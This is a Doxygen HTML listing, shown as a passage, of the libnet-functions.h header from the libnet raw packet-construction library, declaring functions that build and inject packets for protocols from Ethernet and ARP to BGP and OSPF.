+<div class="qindex"><a class="qindex" href="index.html">Main&nbsp;Page</a> | <a class="qindex" href="annotated.html">Data&nbsp;Structures</a> | <a class="qindex" href="files.html">File&nbsp;List</a> | <a class="qindex" href="functions.html">Data&nbsp;Fields</a> | <a class="qindex" href="globals.html">Globals</a></div>
+<h1>libnet-functions.h</h1><a href="libnet-functions_8h.html">Go to the documentation of this file.</a><div class="fragment"><pre>00001 <span class="comment">/*</span>
+00002 <span class="comment"> * $Id: libnet-functions.h,v 1.39 2004/03/01 20:26:11 mike Exp $</span>
+00003 <span class="comment"> *</span>
+00004 <span class="comment"> * libnet-functions.h - function prototypes</span>
+00005 <span class="comment"> *</span>
+00006 <span class="comment"> * Copyright (c) 1998 - 2004 Mike D. Schiffman &lt;mike@infonexus.com&gt;</span>
+00007 <span class="comment"> * All rights reserved.</span>
+00008 <span class="comment"> *</span>
+00009 <span class="comment"> * Redistribution and use in source and binary forms, with or without</span>
+00010 <span class="comment"> * modification, are permitted provided that the following conditions</span>
+00011 <span class="comment"> * are met:</span>
+00012 <span class="comment"> * 1. Redistributions of source code must retain the above copyright</span>
+00013 <span class="comment"> * notice, this list of conditions and the following disclaimer.</span>
+00014 <span class="comment"> * 2. Redistributions in binary form must reproduce the above copyright</span>
+00015 <span class="comment"> * notice, this list of conditions and the following disclaimer in the</span>
+00016 <span class="comment"> * documentation and/or other materials provided with the distribution.</span>
+00017 <span class="comment"> *</span>
+00018 <span class="comment"> * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND</span>
+00019 <span class="comment"> * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE</span>
+00020 <span class="comment"> * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE</span>
+00021 <span class="comment"> * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE</span>
+00022 <span class="comment"> * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL</span>
+00023 <span class="comment"> * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS</span>
+00024 <span class="comment"> * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)</span>
+00025 <span class="comment"> * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT</span>
+00026 <span class="comment"> * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY</span>
+00027 <span class="comment"> * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF</span>
+00028 <span class="comment"> * SUCH DAMAGE.</span>
+00029 <span class="comment"> *</span>
+00030 <span class="comment"> */</span>
+00031
+00032 <span class="preprocessor">#ifndef __LIBNET_FUNCTIONS_H</span>
+00033 <span class="preprocessor"></span><span class="preprocessor">#define __LIBNET_FUNCTIONS_H</span>
+00034 <span class="preprocessor"></span>
+00063 libnet_t *
+00064 libnet_init(<span class="keywordtype">int</span> injection_type, <span class="keywordtype">char</span> *device, <span class="keywordtype">char</span> *err_buf);
+00065
+00071 <span class="keywordtype">void</span>
+00072 libnet_destroy(libnet_t *l);
+00073
+00080 <span class="keywordtype">void</span>
+00081 libnet_clear_packet(libnet_t *l);
+00082
+00089 <span class="keywordtype">void</span>
+00090 libnet_stats(libnet_t *l, <span class="keyword">struct</span> libnet_stats *ls);
+00091
+00097 <span class="keywordtype">int</span>
+00098 libnet_getfd(libnet_t *l);
+00099
+00106 int8_t *
+00107 libnet_getdevice(libnet_t *l);
+00108
+00117 u_int8_t *
+00118 libnet_getpbuf(libnet_t *l, libnet_ptag_t ptag);
+00119
+00128 u_int32_t
+00129 libnet_getpbuf_size(libnet_t *l, libnet_ptag_t ptag);
+00130
+00138 <span class="keywordtype">char</span> *
+00139 libnet_geterror(libnet_t *l);
+00140
+00147 u_int32_t
+00148 libnet_getpacket_size(libnet_t *l);
+00149
+00155 <span class="keywordtype">int</span>
+00156 libnet_seed_prand(libnet_t *l);
+00157
+00171 u_int32_t
+00172 libnet_get_prand(<span class="keywordtype">int</span> mod);
+00173
+00195 <span class="keywordtype">int</span>
+00196 libnet_toggle_checksum(libnet_t *l, libnet_ptag_t ptag, <span class="keywordtype">int</span> mode);
+00197
+00210 <span class="keywordtype">char</span> *
+00211 libnet_addr2name4(u_int32_t in, u_int8_t use_name);
+00212
+00226 u_int32_t
+00227 libnet_name2addr4(libnet_t *l, <span class="keywordtype">char</span> *host_name, u_int8_t use_name);
+00228
+00229 <span class="keyword">extern</span> <span class="keyword">const</span> <span class="keyword">struct </span>libnet_in6_addr in6addr_error;
+00230
+00244 <span class="keyword">struct </span>libnet_in6_addr
+00245 libnet_name2addr6(libnet_t *l, <span class="keywordtype">char</span> *host_name, u_int8_t use_name);
+00246
+00250 <span class="keywordtype">void</span>
+00251 libnet_addr2name6_r(<span class="keyword">struct</span> libnet_in6_addr addr, u_int8_t use_name,
+00252 <span class="keywordtype">char</span> *host_name, <span class="keywordtype">int</span> host_name_len);
+00253
+00269 <span class="keywordtype">int</span>
+00270 libnet_plist_chain_new(libnet_t *l, libnet_plist_t **plist, <span class="keywordtype">char</span> *token_list);
+00271
+00283 <span class="keywordtype">int</span>
+00284 libnet_plist_chain_next_pair(libnet_plist_t *plist, u_int16_t *bport,
+00285 u_int16_t *eport);
+00286
+00293 <span class="keywordtype">int</span>
+00294 libnet_plist_chain_dump(libnet_plist_t *plist);
+00295
+00304 <span class="keywordtype">char</span> *
+00305 libnet_plist_chain_dump_string(libnet_plist_t *plist);
+00306
+00312 <span class="keywordtype">int</span>
+00313 libnet_plist_chain_free(libnet_plist_t *plist);
+00314
+00402 libnet_ptag_t
+00403 libnet_build_802_1q(u_int8_t *dst, u_int8_t *src, u_int16_t tpi,
+00404 u_int8_t priority, u_int8_t cfi, u_int16_t vlan_id, u_int16_t len_proto,
+00405 u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+00406
+00418 libnet_ptag_t
+00419 libnet_build_802_1x(u_int8_t eap_ver, u_int8_t eap_type, u_int16_t length,
+00420 u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+00421
+00433 libnet_ptag_t
+00434 libnet_build_802_2(u_int8_t dsap, u_int8_t ssap, u_int8_t control,
+00435 u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+00436
+00450 libnet_ptag_t
+00451 libnet_build_802_2snap(u_int8_t dsap, u_int8_t ssap, u_int8_t control,
+00452 u_int8_t *oui, u_int16_t type, u_int8_t *payload, u_int32_t payload_s,
+00453 libnet_t *l, libnet_ptag_t ptag);
+00454
+00470 libnet_ptag_t
+00471 libnet_build_802_3(u_int8_t *dst, u_int8_t *src, u_int16_t len,
+00472 u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+00473
+00489 libnet_ptag_t
+00490 libnet_build_ethernet(u_int8_t *dst, u_int8_t *src, u_int16_t type,
+00491 u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+00492
+00504 libnet_ptag_t
+00505 libnet_autobuild_ethernet(u_int8_t *dst, u_int16_t type, libnet_t *l);
+00506
+00523 libnet_ptag_t
+00524 libnet_build_fddi(u_int8_t fc, u_int8_t *dst, u_int8_t *src, u_int8_t dsap,
+00525 u_int8_t ssap, u_int8_t cf, u_int8_t *org, u_int16_t type, u_int8_t *payload,
+00526 u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+00527
+00540 libnet_ptag_t
+00541 libnet_autobuild_fddi(u_int8_t fc, u_int8_t *dst, u_int8_t dsap, u_int8_t ssap,
+00542 u_int8_t cf, u_int8_t *org, u_int16_t type, libnet_t *l);
+00543
+00563 libnet_ptag_t
+00564 libnet_build_arp(u_int16_t hrd, u_int16_t pro, u_int8_t hln, u_int8_t pln,
+00565 u_int16_t op, u_int8_t *sha, u_int8_t *spa, u_int8_t *tha, u_int8_t *tpa,
+00566 u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+00567
+00580 libnet_ptag_t
+00581 libnet_autobuild_arp(u_int16_t op, u_int8_t *sha, u_int8_t *spa, u_int8_t *tha,
+00582 u_int8_t *tpa, libnet_t *l);
+00583
+00600 libnet_ptag_t
+00601 libnet_build_tcp(u_int16_t sp, u_int16_t dp, u_int32_t seq, u_int32_t ack,
+00602 u_int8_t control, u_int16_t win, u_int16_t sum, u_int16_t urg, u_int16_t len,
+00603 u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+00604
+00620 libnet_ptag_t
+00621 libnet_build_tcp_options(u_int8_t *options, u_int32_t options_s, libnet_t *l,
+00622 libnet_ptag_t ptag);
+00623
+00636 libnet_ptag_t
+00637 libnet_build_udp(u_int16_t sp, u_int16_t dp, u_int16_t len, u_int16_t sum,
+00638 u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+00639
+00659 libnet_ptag_t
+00660 libnet_build_cdp(u_int8_t version, u_int8_t ttl, u_int16_t sum, u_int16_t type,
+00661 u_int16_t len, u_int8_t *value, u_int8_t *payload, u_int32_t payload_s,
+00662 libnet_t *l, libnet_ptag_t ptag);
+00663
+00678 libnet_ptag_t
+00679 libnet_build_icmpv4_echo(u_int8_t type, u_int8_t code, u_int16_t sum,
+00680 u_int16_t id, u_int16_t seq, u_int8_t *payload, u_int32_t payload_s,
+00681 libnet_t *l, libnet_ptag_t ptag);
+00682
+00698 libnet_ptag_t
+00699 libnet_build_icmpv4_mask(u_int8_t type, u_int8_t code, u_int16_t sum,
+00700 u_int16_t id, u_int16_t seq, u_int32_t mask, u_int8_t *payload,
+00701 u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+00702
+00725 libnet_ptag_t
+00726 libnet_build_icmpv4_unreach(u_int8_t type, u_int8_t code, u_int16_t sum,
+00727 u_int16_t orig_len, u_int8_t orig_tos, u_int16_t orig_id, u_int16_t orig_frag,
+00728 u_int8_t orig_ttl, u_int8_t orig_prot, u_int16_t orig_check,
+00729 u_int32_t orig_src, u_int32_t orig_dst, u_int8_t *payload, u_int32_t payload_s,
+00730 libnet_t *l, libnet_ptag_t ptag);
+00731
+00753 libnet_ptag_t
+00754 libnet_build_icmpv4_redirect(u_int8_t type, u_int8_t code, u_int16_t sum,
+00755 u_int32_t gateway, u_int16_t orig_len, u_int8_t orig_tos, u_int16_t orig_id,
+00756 u_int16_t orig_frag, u_int8_t orig_ttl, u_int8_t orig_prot,
+00757 u_int16_t orig_check, u_int32_t orig_src, u_int32_t orig_dst,
+00758 u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+00759
+00783 libnet_ptag_t
+00784 libnet_build_icmpv4_timeexceed(u_int8_t type, u_int8_t code, u_int16_t sum,
+00785 u_int16_t orig_len, u_int8_t orig_tos, u_int16_t orig_id, u_int16_t orig_frag,
+00786 u_int8_t orig_ttl, u_int8_t orig_prot, u_int16_t orig_check,
+00787 u_int32_t orig_src, u_int32_t orig_dst, u_int8_t *payload, u_int32_t payload_s,
+00788 libnet_t *l, libnet_ptag_t ptag);
+00789
+00807 libnet_ptag_t
+00808 libnet_build_icmpv4_timestamp(u_int8_t type, u_int8_t code, u_int16_t sum,
+00809 u_int16_t id, u_int16_t seq, n_time otime, n_time rtime, n_time ttime,
+00810 u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+00811
+00824 libnet_ptag_t
+00825 libnet_build_igmp(u_int8_t type, u_int8_t code, u_int16_t sum, u_int32_t ip,
+00826 u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+00827
+00845 libnet_ptag_t
+00846 libnet_build_ipv4(u_int16_t len, u_int8_t tos, u_int16_t id, u_int16_t frag,
+00847 u_int8_t ttl, u_int8_t prot, u_int16_t sum, u_int32_t src, u_int32_t dst,
+00848 u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+00849
+00864 libnet_ptag_t
+00865 libnet_build_ipv4_options(u_int8_t *options, u_int32_t options_s, libnet_t *l,
+00866 libnet_ptag_t ptag);
+00867
+00880 libnet_ptag_t
+00881 libnet_autobuild_ipv4(u_int16_t len, u_int8_t prot, u_int32_t dst, libnet_t *l);
+00882
+00898 libnet_ptag_t
+00899 libnet_build_ipv6(u_int8_t tc, u_int32_t fl, u_int16_t len, u_int8_t nh,
+00900 u_int8_t hl, <span class="keyword">struct</span> libnet_in6_addr src, <span class="keyword">struct</span> libnet_in6_addr dst,
+00901 u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+00902
+00915 libnet_ptag_t
+00916 libnet_build_ipv6_frag(u_int8_t nh, u_int8_t reserved, u_int16_t frag,
+00917 u_int32_t id, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+00918 libnet_ptag_t ptag);
+00919
+00937 libnet_ptag_t
+00938 libnet_build_ipv6_routing(u_int8_t nh, u_int8_t len, u_int8_t rtype,
+00939 u_int8_t segments, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+00940 libnet_ptag_t ptag);
+00941
+00955 libnet_ptag_t
+00956 libnet_build_ipv6_destopts(u_int8_t nh, u_int8_t len, u_int8_t *payload,
+00957 u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+00958
+00973 libnet_ptag_t
+00974 libnet_build_ipv6_hbhopts(u_int8_t nh, u_int8_t len, u_int8_t *payload,
+00975 u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+00976
+00988 libnet_ptag_t
+00989 libnet_autobuild_ipv6(u_int16_t len, u_int8_t nh, <span class="keyword">struct</span> libnet_in6_addr dst,
+00990 libnet_t *l);
+00991
+01009 libnet_ptag_t
+01010 libnet_build_isl(u_int8_t *dhost, u_int8_t type, u_int8_t user, u_int8_t *shost,
+01011 u_int16_t len, u_int8_t *snap, u_int16_t vid, u_int16_t index,
+01012 u_int16_t reserved, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+01013 libnet_ptag_t ptag);
+01014
+01026 libnet_ptag_t
+01027 libnet_build_ipsec_esp_hdr(u_int32_t spi, u_int32_t seq, u_int32_t iv,
+01028 u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+01029
+01041 libnet_ptag_t
+01042 libnet_build_ipsec_esp_ftr(u_int8_t len, u_int8_t nh, int8_t *auth,
+01043 u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+01044
+01059 libnet_ptag_t
+01060 libnet_build_ipsec_ah(u_int8_t nh, u_int8_t len, u_int16_t res,
+01061 u_int32_t spi, u_int32_t seq, u_int32_t auth, u_int8_t *payload,
+01062 u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+01063
+01079 libnet_ptag_t
+01080 libnet_build_dnsv4(u_int16_t h_len, u_int16_t id, u_int16_t flags,
+01081 u_int16_t num_q, u_int16_t num_anws_rr, u_int16_t num_auth_rr,
+01082 u_int16_t num_addi_rr, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+01083 libnet_ptag_t ptag);
+01084
+01102 libnet_ptag_t
+01103 libnet_build_rip(u_int8_t cmd, u_int8_t version, u_int16_t rd, u_int16_t af,
+01104 u_int16_t rt, u_int32_t addr, u_int32_t mask, u_int32_t next_hop,
+01105 u_int32_t metric, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+01106 libnet_ptag_t ptag);
+01107
+01130 libnet_ptag_t
+01131 libnet_build_rpc_call(u_int32_t rm, u_int32_t xid, u_int32_t prog_num,
+01132 u_int32_t prog_vers, u_int32_t procedure, u_int32_t cflavor, u_int32_t clength,
+01133 u_int8_t *cdata, u_int32_t vflavor, u_int32_t vlength, u_int8_t *vdata,
+01134 u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+01135
+01158 libnet_ptag_t
+01159 libnet_build_stp_conf(u_int16_t id, u_int8_t version, u_int8_t bpdu_type,
+01160 u_int8_t flags, u_int8_t *root_id, u_int32_t root_pc, u_int8_t *bridge_id,
+01161 u_int16_t port_id, u_int16_t message_age, u_int16_t max_age,
+01162 u_int16_t hello_time, u_int16_t f_delay, u_int8_t *payload,
+01163 u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+01164
+01178 libnet_ptag_t
+01179 libnet_build_stp_tcn(u_int16_t id, u_int8_t version, u_int8_t bpdu_type,
+01180 u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+01181
+01199 libnet_ptag_t
+01200 libnet_build_token_ring(u_int8_t ac, u_int8_t fc, u_int8_t *dst, u_int8_t *src,
+01201 u_int8_t dsap, u_int8_t ssap, u_int8_t cf, u_int8_t *org, u_int16_t type,
+01202 u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+01203
+01217 libnet_ptag_t
+01218 libnet_autobuild_token_ring(u_int8_t ac, u_int8_t fc, u_int8_t *dst,
+01219 u_int8_t dsap, u_int8_t ssap, u_int8_t cf, u_int8_t *org, u_int16_t type,
+01220 libnet_t *l);
+01221
+01241 libnet_ptag_t
+01242 libnet_build_vrrp(u_int8_t version, u_int8_t type, u_int8_t vrouter_id,
+01243 u_int8_t priority, u_int8_t ip_count, u_int8_t auth_type, u_int8_t advert_int,
+01244 u_int16_t sum, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+01245 libnet_ptag_t ptag);
+01246
+01259 libnet_ptag_t
+01260 libnet_build_mpls(u_int32_t label, u_int8_t experimental, u_int8_t bos,
+01261 u_int8_t ttl, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+01262 libnet_ptag_t ptag);
+01263
+01291 libnet_ptag_t
+01292 libnet_build_ntp(u_int8_t leap_indicator, u_int8_t version, u_int8_t mode,
+01293 u_int8_t stratum, u_int8_t poll, u_int8_t precision, u_int16_t delay_int,
+01294 u_int16_t delay_frac, u_int16_t dispersion_int, u_int16_t dispersion_frac,
+01295 u_int32_t reference_id, u_int32_t ref_ts_int, u_int32_t ref_ts_frac,
+01296 u_int32_t orig_ts_int, u_int32_t orig_ts_frac, u_int32_t rec_ts_int,
+01297 u_int32_t rec_ts_frac, u_int32_t xmt_ts_int, u_int32_t xmt_ts_frac,
+01298 u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+01299
+01307 libnet_ptag_t
+01308 libnet_build_ospfv2(u_int16_t len, u_int8_t type, u_int32_t rtr_id,
+01309 u_int32_t area_id, u_int16_t sum, u_int16_t autype, u_int8_t *payload,
+01310 u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+01311
+01319 libnet_ptag_t
+01320 <a class="code" href="libnet-functions_8h.html#a69">libnet_build_ospfv2_hello</a>(u_int32_t netmask, u_int16_t interval, u_int8_t opts,
+01321 u_int8_t priority, u_int dead_int, u_int32_t des_rtr, u_int32_t bkup_rtr,
+01322 u_int32_t neighbor, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+01323 libnet_ptag_t ptag);
+01324
+01332 libnet_ptag_t
+01333 <a class="code" href="libnet-functions_8h.html#a70">libnet_build_ospfv2_dbd</a>(u_int16_t dgram_len, u_int8_t opts, u_int8_t type,
+01334 u_int seqnum, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+01335 libnet_ptag_t ptag);
+01336
+01344 libnet_ptag_t
+01345 <a class="code" href="libnet-functions_8h.html#a71">libnet_build_ospfv2_lsr</a>(u_int type, u_int lsid, u_int32_t advrtr,
+01346 u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+01347
+01355 libnet_ptag_t
+01356 <a class="code" href="libnet-functions_8h.html#a72">libnet_build_ospfv2_lsu</a>(u_int num, u_int8_t *payload, u_int32_t payload_s,
+01357 libnet_t *l, libnet_ptag_t ptag);
+01358
+01366 libnet_ptag_t
+01367 <a class="code" href="libnet-functions_8h.html#a73">libnet_build_ospfv2_lsa</a>(u_int16_t age, u_int8_t opts, u_int8_t type,
+01368 u_int lsid, u_int32_t advrtr, u_int seqnum, u_int16_t sum, u_int16_t len,
+01369 u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+01370
+01378 libnet_ptag_t
+01379 <a class="code" href="libnet-functions_8h.html#a74">libnet_build_ospfv2_lsa_rtr</a>(u_int16_t flags, u_int16_t num, u_int id,
+01380 u_int data, u_int8_t type, u_int8_t tos, u_int16_t metric, u_int8_t *payload,
+01381 u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+01382
+01390 libnet_ptag_t
+01391 <a class="code" href="libnet-functions_8h.html#a75">libnet_build_ospfv2_lsa_net</a>(u_int32_t nmask, u_int rtrid, u_int8_t *payload,
+01392 u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+01393
+01401 libnet_ptag_t
+01402 <a class="code" href="libnet-functions_8h.html#a76">libnet_build_ospfv2_lsa_sum</a>(u_int32_t nmask, u_int metric, u_int tos,
+01403 u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+01404
+01412 libnet_ptag_t
+01413 <a class="code" href="libnet-functions_8h.html#a77">libnet_build_ospfv2_lsa_as</a>(u_int32_t nmask, u_int metric, u_int32_t fwdaddr,
+01414 u_int tag, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+01415 libnet_ptag_t ptag);
+01416
+01427 libnet_ptag_t
+01428 libnet_build_data(u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+01429 libnet_ptag_t ptag);
+01430
+01438 libnet_ptag_t
+01439 libnet_build_dhcpv4(u_int8_t opcode, u_int8_t htype, u_int8_t hlen,
+01440 u_int8_t hopcount, u_int32_t xid, u_int16_t secs, u_int16_t flags,
+01441 u_int32_t cip, u_int32_t yip, u_int32_t sip, u_int32_t gip, u_int8_t *chaddr,
+01442 u_int8_t *sname, u_int8_t *file, u_int8_t *payload, u_int32_t payload_s,
+01443 libnet_t *l, libnet_ptag_t ptag);
+01444
+01452 libnet_ptag_t
+01453 libnet_build_bootpv4(u_int8_t opcode, u_int8_t htype, u_int8_t hlen,
+01454 u_int8_t hopcount, u_int32_t xid, u_int16_t secs, u_int16_t flags,
+01455 u_int32_t cip, u_int32_t yip, u_int32_t sip, u_int32_t gip, u_int8_t *chaddr,
+01456 u_int8_t *sname, u_int8_t *file, u_int8_t *payload, u_int32_t payload_s,
+01457 libnet_t *l, libnet_ptag_t ptag);
+01458
+01466 <span class="keyword">inline</span> u_int32_t
+01467 libnet_getgre_length(u_int16_t fv);
+01468
+01490 libnet_ptag_t
+01491 libnet_build_gre(u_int16_t fv, u_int16_t type, u_int16_t sum,
+01492 u_int16_t offset, u_int32_t key, u_int32_t seq, u_int16_t len,
+01493 u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+01494
+01516 libnet_ptag_t
+01517 libnet_build_egre(u_int16_t fv, u_int16_t type, u_int16_t sum,
+01518 u_int16_t offset, u_int32_t key, u_int32_t seq, u_int16_t len,
+01519 u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+01520
+01528 libnet_ptag_t
+01529 libnet_build_gre_sre(u_int16_t af, u_int8_t offset, u_int8_t length,
+01530 u_int8_t *routing, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+01531 libnet_ptag_t ptag);
+01532
+01540 libnet_ptag_t
+01541 libnet_build_gre_last_sre(libnet_t *l, libnet_ptag_t ptag);
+01542
+01564 libnet_ptag_t
+01565 libnet_build_bgp4_header(u_int8_t marker[LIBNET_BGP4_MARKER_SIZE],
+01566 u_int16_t len, u_int8_t type, u_int8_t *payload, u_int32_t payload_s,
+01567 libnet_t *l, libnet_ptag_t ptag);
+01568
+01585 libnet_ptag_t
+01586 libnet_build_bgp4_open(u_int8_t version, u_int16_t src_as, u_int16_t hold_time,
+01587 u_int32_t bgp_id, u_int8_t opt_len, u_int8_t *payload, u_int32_t payload_s,
+01588 libnet_t *l, libnet_ptag_t ptag);
+01589
+01605 libnet_ptag_t
+01606 libnet_build_bgp4_update(u_int16_t unfeasible_rt_len, u_int8_t *withdrawn_rt,
+01607 u_int16_t total_path_attr_len, u_int8_t *path_attributes, u_int16_t info_len,
+01608 u_int8_t *reachability_info, u_int8_t *payload, u_int32_t payload_s,
+01609 libnet_t *l, libnet_ptag_t ptag);
+01610
+01623 libnet_ptag_t
+01624 libnet_build_bgp4_notification(u_int8_t err_code, u_int8_t err_subcode,
+01625 u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+01626
+01649 libnet_ptag_t
+01650 libnet_build_sebek(u_int32_t magic, u_int16_t version, u_int16_t type,
+01651 u_int32_t counter, u_int32_t time_sec, u_int32_t time_usec, u_int32_t pid,
+01652 u_int32_t uid, u_int32_t fd, u_int8_t cmd[SEBEK_CMD_LENGTH], u_int32_t length,
+01653 u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+01654
+01669 libnet_ptag_t
+01670 libnet_build_link(u_int8_t *dst, u_int8_t *src, u_int8_t *oui, u_int16_t type,
+01671 u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+01672
+01683 libnet_ptag_t
+01684 libnet_autobuild_link(u_int8_t *dst, u_int8_t *oui, u_int16_t type,
+01685 libnet_t *l);
+01686
+01699 <span class="keywordtype">int</span>
+01700 libnet_write(libnet_t *l);
+01701
+01711 u_int32_t
+01712 libnet_get_ipaddr4(libnet_t *l);
+01713
+01719 <span class="keyword">struct </span>libnet_in6_addr
+01720 libnet_get_ipaddr6(libnet_t *l);
+01721
+01730 <span class="keyword">struct </span>libnet_ether_addr *
+01731 libnet_get_hwaddr(libnet_t *l);
+01732
+01742 u_int8_t *
+01743 libnet_hex_aton(int8_t *s, <span class="keywordtype">int</span> *len);
+01744
+01760 <span class="keywordtype">int</span>
+01761 libnet_adv_cull_packet(libnet_t *l, u_int8_t **packet, u_int32_t *packet_s);
+01762
+01775 <span class="keywordtype">int</span>
+01776 libnet_adv_cull_header(libnet_t *l, libnet_ptag_t ptag, u_int8_t **header,
+01777 u_int32_t *header_s);
+01778
+01792 <span class="keywordtype">int</span>
+01793 libnet_adv_write_link(libnet_t *l, u_int8_t *packet, u_int32_t packet_s);
+01794
+01801 <span class="keywordtype">void</span>
+01802 libnet_adv_free_packet(libnet_t *l, u_int8_t *packet);
+01803
+01817 <span class="keywordtype">int</span>
+01818 libnet_cq_add(libnet_t *l, <span class="keywordtype">char</span> *label);
+01819
+01834 libnet_t *
+01835 libnet_cq_remove(libnet_t *l);
+01836
+01848 libnet_t *
+01849 libnet_cq_remove_by_label(<span class="keywordtype">char</span> *label);
+01850
+01857 int8_t *
+01858 libnet_cq_getlabel(libnet_t *l);
+01859
+01866 libnet_t *
+01867 libnet_cq_find_by_label(<span class="keywordtype">char</span> *label);
+01868
+01874 <span class="keywordtype">void</span>
+01875 libnet_cq_destroy();
+01876
+01896 libnet_t *
+01897 libnet_cq_head();
+01898
+01904 <span class="keywordtype">int</span>
+01905 libnet_cq_last();
+01906
+01912 libnet_t *
+01913 libnet_cq_next();
+01914
+01920 u_int32_t
+01921 libnet_cq_size();
+01922
+01928 <span class="keywordtype">void</span>
+01929 libnet_diag_dump_context(libnet_t *l);
+01930
+01936 <span class="keywordtype">void</span>
+01937 libnet_diag_dump_pblock(libnet_t *l);
+01938
+01945 <span class="keywordtype">char</span> *
+01946 libnet_diag_dump_pblock_type(u_int8_t type);
+01947
+01959 <span class="keywordtype">void</span>
+01960 libnet_diag_dump_hex(u_int8_t *packet, u_int32_t len, <span class="keywordtype">int</span> swap, FILE *stream);
+01961
+01962 <span class="comment">/*</span>
+01963 <span class="comment"> * [Internal] </span>
+01964 <span class="comment"> */</span>
+01965 <span class="keywordtype">int</span>
+01966 libnet_write_raw_ipv4(libnet_t *l, u_int8_t *packet, u_int32_t size);
+01967
+01968 <span class="comment">/*</span>
+01969 <span class="comment"> * [Internal] </span>
+01970 <span class="comment"> */</span>
+01971 <span class="keywordtype">int</span>
+01972 libnet_write_raw_ipv6(libnet_t *l, u_int8_t *packet, u_int32_t size);
+01973
+01974 <span class="comment">/*</span>
+01975 <span class="comment"> * [Internal] </span>
+01976 <span class="comment"> */</span>
+01977 <span class="keywordtype">int</span>
+01978 libnet_write_link(libnet_t *l, u_int8_t *packet, u_int32_t size);
+01979
+01980 <span class="preprocessor">#if ((__WIN32__) &amp;&amp; !(__CYGWIN__))</span>
+01981 <span class="preprocessor"></span><span class="comment">/*</span>
+01982 <span class="comment"> * [Internal] </span>
+01983 <span class="comment"> */</span>
+01984 SOCKET
+01985 libnet_open_raw4(libnet_t *l);
+01986 <span class="preprocessor">#else</span>
+01987 <span class="preprocessor"></span><span class="comment">/*</span>
+01988 <span class="comment"> * [Internal] </span>
+01989 <span class="comment"> */</span>
+01990 <span class="keywordtype">int</span>
+01991 libnet_open_raw4(libnet_t *l);
+01992 <span class="preprocessor">#endif</span>
+01993 <span class="preprocessor"></span>
+01994 <span class="comment">/*</span>
+01995 <span class="comment"> * [Internal] </span>
+01996 <span class="comment"> */</span>
+01997 <span class="keywordtype">int</span>
+01998 libnet_close_raw4(libnet_t *l);
+01999
+02000 <span class="comment">/*</span>
+02001 <span class="comment"> * [Internal] </span>
+02002 <span class="comment"> */</span>
